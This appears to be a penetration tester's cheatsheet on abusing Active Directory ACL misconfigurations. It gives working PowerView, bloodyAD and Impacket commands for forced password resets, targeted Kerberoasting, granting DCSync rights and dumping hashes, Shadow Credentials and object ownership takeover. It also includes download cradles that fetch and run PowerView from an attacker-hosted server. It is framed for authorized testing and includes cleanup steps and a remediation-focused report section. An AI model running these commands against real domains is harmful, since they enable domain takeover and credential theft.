π‘οΈ Methodology Checklist
- Run BloodHound β review all ACL paths from owned principals
- Identify: GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword
- GenericAll on user: reset password or targeted Kerberoasting
- GenericWrite on user: set SPN β Kerberoast
- WriteDACL: grant self DCSync rights β run DCSync
- WriteOwner: take ownership β grant self full control
- ForceChangePassword (no current pass needed):
Set-DomainUserPassword(Windows) Β·bloodyAD β¦ set password/net rpc password(Linux) - Document full ACL chain for report
π― Operational Context
Use when: BloodHound identifies ACL edges β WriteDACL, GenericAll, GenericWrite, ForceChangePassword, WriteOwner on target objects. Think Dumber First: BloodHound shortest paths to DA almost always include at least one ACL edge. Identify the ACL β understand what right it grants β abuse it. WriteDACL = grant yourself any right. GenericAll = all rights on object. Skip when: No BloodHound data β enumerate ACLs manually with PowerView first.
β‘ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
Find-InterestingDomainAcl -ResolveGUIDs | PowerView β scan domain for exploitable ACL misconfigurations |
Get-DomainObjectAcl -Identity [USER] -ResolveGUIDs | PowerView β get ACEs for a specific object |
Set-DomainUserPassword -Identity [USER] -AccountPassword (ConvertTo-SecureString '[NEWPASS]' -AsPlainText -Force) | Abuse ForceChangePassword (Windows) β reset target userβs password |
bloodyAD --host [DC] -d [DOMAIN] -u [USER] -p '[PASS]' set password [TARGET] '[NEWPASS]' | Abuse ForceChangePassword (Linux) β reset via bloodyAD |
net rpc password '[TARGET]' '[NEWPASS]' -U '[DOMAIN]/[USER]%[PASS]' -S [DC] | Abuse ForceChangePassword (Linux) β reset via Samba net rpc |
Set-DomainObject -Identity [USER] -Set @{serviceprincipalname='fake/spn'} | Abuse GenericWrite β assign fake SPN for targeted Kerberoasting |
Add-DomainGroupMember -Identity '[GROUP]' -Members '[USER]' | Abuse AddSelf/AddMembers β add user to a group |
Get-DomainGroupMember -Identity '[GROUP]' | Verify group membership after adding |
Remove-DomainGroupMember -Identity '[GROUP]' -Members '[USER]' | Revert group membership change |
Set-DomainObject -Identity [USER] -Clear serviceprincipalname | Remove fake SPN assigned during GenericWrite abuse |
π¬ Deep Dive & Workflow
ACL Overview
Access Control Lists (ACLs) define which principals have access to AD objects and what they can do. Key distinction:
- DACL β Discretionary ACL: grants/denies access
- SACL β System ACL: generates audit logs
- ACE β single entry within an ACL (principal SID + rule type + access mask)
No DACL rule: Object with no DACL = full access to everyone. Empty DACL = access denied to everyone.
Vulnerability scanners cannot detect ACL misconfigurations β manual enumeration or BloodHound is required.
Loading PowerView
PowerView is a single script (PowerView.ps1, part of PowerSploit). Before any of the commands below work, it has to be loaded into the target session. First grab the script onto the attacker machine, then host it, then load it on the target.
Get PowerView onto the attacker machine (from the PowerSploit dev branch):
# direct download of just the script
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
# or curl
curl -O https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
# or clone the whole toolkit (PowerView.ps1 lands in PowerSploit/Recon/)
git clone https://github.com/PowerShellMafia/PowerSploit.gitOn Kali/ParrotOS it also ships locally β e.g. /usr/share/windows-resources/powersploit/Recon/PowerView.ps1.
Host it from the attacker machine (run from the directory containing PowerView.ps1):
# HTTP β simplest, works with IEX/iwr/certutil
python3 -m http.server 8000
# or SMB β useful when HTTP is filtered
impacket-smbserver share . -smb2supportOption A β In-memory (IEX download cradle, no disk write): preferred, since it never touches disk and isnβt affected by execution policy.
IEX (New-Object Net.WebClient).DownloadString('http://[ATTACKER_IP]:8000/PowerView.ps1')
# PowerShell 3+ alternative
IEX (iwr -UseBasicParsing 'http://[ATTACKER_IP]:8000/PowerView.ps1')Option B β Transfer to disk, then import:
# download
iwr -UseBasicParsing 'http://[ATTACKER_IP]:8000/PowerView.ps1' -OutFile C:\Temp\PowerView.ps1
# or: certutil -urlcache -split -f http://[ATTACKER_IP]:8000/PowerView.ps1 C:\Temp\PowerView.ps1
# or from the SMB share: copy \\[ATTACKER_IP]\share\PowerView.ps1 C:\Temp\
# load (either works)
Import-Module C:\Temp\PowerView.ps1
. C:\Temp\PowerView.ps1Verify it loaded β run any PowerView function:
Get-DomainUser -Identity [USER]If execution policy blocks the disk import, launch with powershell -ep bypass or just use the in-memory IEX method (Option A), which execution policy does not affect.
Finding Exploitable ACLs
# load PowerView first (see "Loading PowerView" above), then:
Find-InterestingDomainAcl -ResolveGUIDsThis resolves GUIDs to human-readable right names. Focus on ACEs where your compromised user (or groups itβs in) has non-standard rights over high-value targets.
BloodHound query: Outbound Control Rights on any user node β shows all objects the user can control and how.
Exploitable ACE Types
| Right | Target | Exploitation |
|---|---|---|
ForceChangePassword | User | Reset password without knowing current one |
GenericWrite | User | Assign fake SPN β targeted Kerberoast |
GenericWrite | Group | Add users to group |
GenericAll | User/Computer | Full control β Kerberoast, reset password, or LAPS read |
AddSelf | Group | Add yourself to the group |
AddMembers | Group | Add any user to the group |
WriteDACL | Object | Write new ACEs β grant yourself DCSync rights |
ReadGMSAPassword | gMSA | Extract Group Managed Service Account password |
Attack Workflows
ForceChangePassword β Windows (PowerView):
$NewPass = ConvertTo-SecureString '[NEWPASS]' -AsPlainText -Force
Set-DomainUserPassword -Identity [USER] -AccountPassword $NewPassForceChangePassword β Linux (from a Kali/attacker box): same primitive, no shell on the target needed β ideal when you hold a user with the edge but no WinRM.
# bloodyAD (cleanest) β password, or pass-the-hash with -p ':[NTHASH]'
bloodyAD --host [DC] -d [DOMAIN] -u [USER] -p '[PASS]' set password [TARGET_USER] '[NEWPASS]'
# net rpc (Samba) β password, or PtH with --pw-nt-hash
net rpc password '[TARGET_USER]' '[NEWPASS]' -U '[DOMAIN]/[USER]%[PASS]' -S [DC]
net rpc password '[TARGET_USER]' '[NEWPASS]' -U '[DOMAIN]/[USER]%[NTHASH]' -S [DC] --pw-nt-hash
# rpcclient (interactive)
rpcclient -U '[DOMAIN]/[USER]%[PASS]' [DC]
# then at the prompt: setuserinfo2 [TARGET_USER] 23 '[NEWPASS]'ForceChangePassword overwrites the targetβs password β destructive, noisy, and irreversible. Where stealth matters and the edge allows, prefer Shadow Credentials or targeted Kerberoast (below). Full bloodyAD reference: Master_BloodyAD.
GenericWrite β Targeted Kerberoasting:
# Assign fake SPN
Set-DomainObject -Identity [USER] -Set @{serviceprincipalname='fake/spn'}
# Now Kerberoast that account
Get-DomainUser -Identity [USER] | Get-DomainSPNTicket -Format Hashcat
# Clean up
Set-DomainObject -Identity [USER] -Clear serviceprincipalnameGenericWrite β Linux (no Windows shell needed): write the SPN with bloodyAD, then roast with Step 2 β or do set β roast β cleanup in one shot:
# Set the SPN from Kali (clear later with the same command and -v '' )
bloodyAD --host [DC] -d [DOMAIN] -u [CONTROLLED_USER] -p '[PASSWORD]' set object [USER] servicePrincipalName -v 'fake/spn'
# One-shot β temp SPN β roast every writable account β auto-remove
targetedKerberoast.py -v -d [DOMAIN] -u [CONTROLLED_USER] -p '[PASSWORD]'Step 1 β Confirm the SPN write actually worked. Before assuming the ACL abuse failed, verify the attribute landed. Read it straight back:
Get-DomainUser -Identity [USER] -Properties serviceprincipalname | Select-Object serviceprincipalname
# Expected output:
# fake/spnIf fake/spn comes back, GenericWrite worked β the ACL abuse is fine. If Get-DomainSPNTicket then fails anyway, the problem is the WinRM/Kerberos context on the shell (no usable TGT to request the service ticket), not the ACL. Donβt keep re-running the SPN write β switch to the Linux fallback below.
Step 2 β Linux fallback: request the TGS from Kali. Roast the SPN-bearing account remotely with Impacket instead of fighting the WinRM session.
# Kerberos is time-sensitive β sync to the DC first (KRB_AP_ERR_SKEW if clocks drift)
sudo ntpdate -u [DC_IP]
# Request the TGS for the now-SPN'd target user
impacket-GetUserSPNs -dc-ip [DC_IP] [DOMAIN]/[CONTROLLED_USER]:'[PASSWORD]' -request-user [USER] -outputfile roast.hash
# Crack it
hashcat -m 13100 roast.hash /usr/share/wordlists/rockyou.txtCleanup. Clear the fake SPN once you have the hash:
Set-DomainObject -Identity [USER] -Clear serviceprincipalnameβ οΈ Record the original SPNs first.
-Clear serviceprincipalnamewipes the whole attribute. Only clear blindly if the account had no SPN to begin with (a normal user account usually doesnβt); otherwise capture the existing values with theGet-DomainUser ... -Properties serviceprincipalnameread above and restore them with-Setinstead.
GenericAll on a User: Full control over the user object β it grants everything the two workflows above do, plus more. Pick the quietest option that fits; password reset is the loudest (locks the real user out), Shadow Credentials is the stealthiest (no password change).
# Option 1 β Reset the password (same as ForceChangePassword)
Set-DomainUserPassword -Identity [USER] -AccountPassword (ConvertTo-SecureString '[NEWPASS]' -AsPlainText -Force)
# Option 2 β Targeted Kerberoasting (same as GenericWrite: set SPN, roast, clean up)
Set-DomainObject -Identity [USER] -Set @{serviceprincipalname='fake/spn'}
Get-DomainUser -Identity [USER] | Get-DomainSPNTicket -Format Hashcat # crack -m 13100
Set-DomainObject -Identity [USER] -Clear serviceprincipalname
# Option 3 β Targeted ASREPRoasting (flip DONT_REQ_PREAUTH, roast, revert)
Set-DomainObject -Identity [USER] -XOR @{useraccountcontrol=4194304}
# then ASREPRoast (Rubeus.exe asreproast /user:[USER] /format:hashcat β crack -m 18200)
Set-DomainObject -Identity [USER] -XOR @{useraccountcontrol=4194304} # revertGenericAll β Linux (full control = take your pick from Kali):
bloodyAD --host [DC] -d [DOMAIN] -u [CONTROLLED_USER] -p '[PASSWORD]' set password [USER] '[NEWPASS]' # reset (loud)
bloodyAD --host [DC] -d [DOMAIN] -u [CONTROLLED_USER] -p '[PASSWORD]' set object [USER] servicePrincipalName -v 'fake/spn' # β Kerberoast
# stealthiest: Shadow Credentials (pywhisker / certipy) β see just belowShadow Credentials (stealthiest β writes msDS-KeyCredentialLink, then PKINIT for a TGT + NT hash; no password reset). Needs Whisker/pywhisker + Rubeus/PKINITtools, not PowerView:
# Linux
pywhisker.py -d [DOMAIN] -u [CONTROLLED_USER] -p '[PASSWORD]' --target [USER] --action add
# then PKINIT for a TGT and the NT hash (gettgtpkinit.py / PKINITtools)
# one-shot (write key β PKINIT β print NT hash):
certipy shadow auto -u [CONTROLLED_USER]@[DOMAIN] -p '[PASSWORD]' -account [USER]# Windows
Whisker.exe add /target:[USER]
Rubeus.exe asktgt /user:[USER] /certificate:[BASE64_PFX] /password:'[PFX_PASS]' /getcredentialsAddSelf/AddMembers β Group Escalation:
Add-DomainGroupMember -Identity '[GROUP]' -Members [USER]
Get-DomainGroupMember -Identity '[GROUP]' # verify
# ... abuse the access ...
Remove-DomainGroupMember -Identity '[GROUP]' -Members [USER] # revertAddSelf/AddMembers β Linux:
bloodyAD --host [DC] -d [DOMAIN] -u [CONTROLLED_USER] -p '[PASSWORD]' add groupMember '[GROUP]' [USER]
# revert: ... remove groupMember '[GROUP]' [USER]
net rpc group addmem '[GROUP]' '[USER]' -U '[DOMAIN]/[CONTROLLED_USER]%[PASSWORD]' -S [DC] # Samba alternativeWriteDACL β DCSync:
# Grant yourself DCSync rights over the domain object
Add-DomainObjectAcl -TargetIdentity "DC=[DOMAIN],DC=[TLD]" -PrincipalIdentity [USER] -Rights DCSyncThen use secretsdump.py or Mimikatz DCSync as the modified user.
WriteDACL β Linux (Impacket dacledit grants DCSync, then dump):
dacledit.py -action write -rights DCSync -principal '[CONTROLLED_USER]' \
-target-dn 'DC=[DOMAIN],DC=[TLD]' '[DOMAIN]/[CONTROLLED_USER]:[PASSWORD]'
impacket-secretsdump '[DOMAIN]/[CONTROLLED_USER]:[PASSWORD]'@[DC] -just-dc-user [TARGET]WriteOwner β take ownership β full control: Rewrite the objectβs owner to yourself, grant yourself a right (e.g. GenericAll), then abuse it.
# Windows (PowerView)
Set-DomainObjectOwner -Identity [TARGET] -OwnerIdentity [CONTROLLED_USER]
Add-DomainObjectAcl -TargetIdentity [TARGET] -PrincipalIdentity [CONTROLLED_USER] -Rights All# Linux (Impacket owneredit β dacledit β abuse)
owneredit.py -action write -owner '[CONTROLLED_USER]' -target '[TARGET]' '[DOMAIN]/[CONTROLLED_USER]:[PASSWORD]'
dacledit.py -action write -rights FullControl -principal '[CONTROLLED_USER]' -target '[TARGET]' '[DOMAIN]/[CONTROLLED_USER]:[PASSWORD]'
# β then abuse the granted control: bloodyAD set password / set SPN as aboveRestored object lost inherited rights (un-tombstone gotcha):
When you reanimate a deleted AD object (e.g. via the AD Recycle Bin / Restore-ADObject), it comes back without the ACEs it used to inherit from its parent OU β inheritance is not automatically reasserted on restore. The result looks like an ACL bug: BloodHound/your edge said you control the object, but every primitive above fails because the objectβs DACL is effectively bare. Fix it by explicitly reapplying inheritable rights from a principal that controls the parent OU, then proceed with the normal abuse.
# Linux (Impacket) β from a principal that controls the OU, write inheritable FullControl
dacledit.py -action write -rights FullControl -inheritance \
-principal '[CONTROLLED_USER]' -target-dn 'OU=[OU],DC=[DOMAIN],DC=[TLD]' \
'[DOMAIN]/[CONTROLLED_USER]:[PASSWORD]'
# inheritance now flows down to the restored child object β resume the normal abuse# Windows (PowerView) β take ownership of the OU if needed, then grant inheritable control
Set-DomainObjectOwner -Identity 'OU=[OU],DC=[DOMAIN],DC=[TLD]' -OwnerIdentity [CONTROLLED_USER]
Add-DomainObjectAcl -TargetIdentity 'OU=[OU],DC=[DOMAIN],DC=[TLD]' -PrincipalIdentity [CONTROLLED_USER] -Rights All
# rights inherit down to the reanimated object; then abuse it (reset password / set SPN / Shadow Creds)Operational Notes
- These are destructive operations β they modify the live AD environment
- Document every change: what was modified, when, the original value
- Revert all changes immediately after demonstrating impact
- Always consult the client before executing password resets or group membership changes in production
π οΈ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| PowerView Set-DomainObjectAcl fails | Execution policy or AV | Load via IEX; run from memory; ensure targeting correct object DN |
| ForceChangePassword blocked by GPO | Fine-grained password policy | Policy applies to target account; still works but new password must meet PSO requirements |
| GenericWrite on user but no shell | Targeted Kerberoasting | Add fake SPN: Set-DomainObject [USER] -Set @{serviceprincipalname='fake/FQDN'}; Kerberoast the SPN |
SPN write succeeds but Get-DomainSPNTicket fails in Evil-WinRM | WinRM/Kerberos context, not the ACL β shell has no usable TGT | Verify the write landed (Get-DomainUser [USER] -Properties serviceprincipalname); then roast from Kali with impacket-GetUserSPNs ... -request-user [USER] (sync time first with ntpdate -u [DC_IP]) |
| WriteDACL applied but no effect | Replication delay on DC | Wait 60 seconds for AD replication; re-check with Get-DomainObjectAcl |
| BloodHound shows ACL but PowerView canβt confirm | Different data collection time | Re-run SharpHound collection; ACLs change; stale BloodHound data misleads |
| Restored (un-tombstoned) object has none of its expected rights | A reanimated AD object does not automatically regain inherited ACEs from its parent OU | Reapply inheritance from a principal that controls the OU β see βRestored object lost inherited rightsβ below (Linux dacledit.py / Windows Add-DomainObjectAcl + Set-DomainObjectOwner) |
π Reporting Trigger
Finding Title: Active Directory ACL Misconfiguration Enables Privilege Escalation Impact: Misconfigured ACLs (GenericAll, WriteDACL, ForceChangePassword) on AD objects allow a low-privileged user to escalate to Domain Admin without exploiting any software vulnerability, purely through legitimate AD operations. Root Cause: Excessive AD object permissions accumulated through IT operations without periodic ACL review. No monitoring on ACL modification or sensitive object permission grants. Recommendation: Conduct AD ACL audit using BloodHound or Purple Knight. Remove excessive permissions on sensitive objects (Domain Admins, krbtgt, GPOs). Implement AD Tiering model. Alert on ACL modifications to Tier 0 objects via Microsoft Defender for Identity.
π Related Nodes
- AD_DCSync
- AD_Credentialed_Enum_Windows
- AD_Kerberoasting
- AD_Credentialed_Enum_Linux
- Master_BloodyAD β full bloodyAD command reference (Linux ACL abuse)
- Master_AD_ACLs β ACL-abuse cheatsheet (Windows + Linux primitives)
- File_Transfer_Windows β more ways to host/transfer PowerView to the target
- Pass_the_Certificate β PKINIT auth with the PFX produced by Shadow Credentials
- tombwatcher β restored AD object loses inherited OU rights; reapply with
dacledit.py -inheritance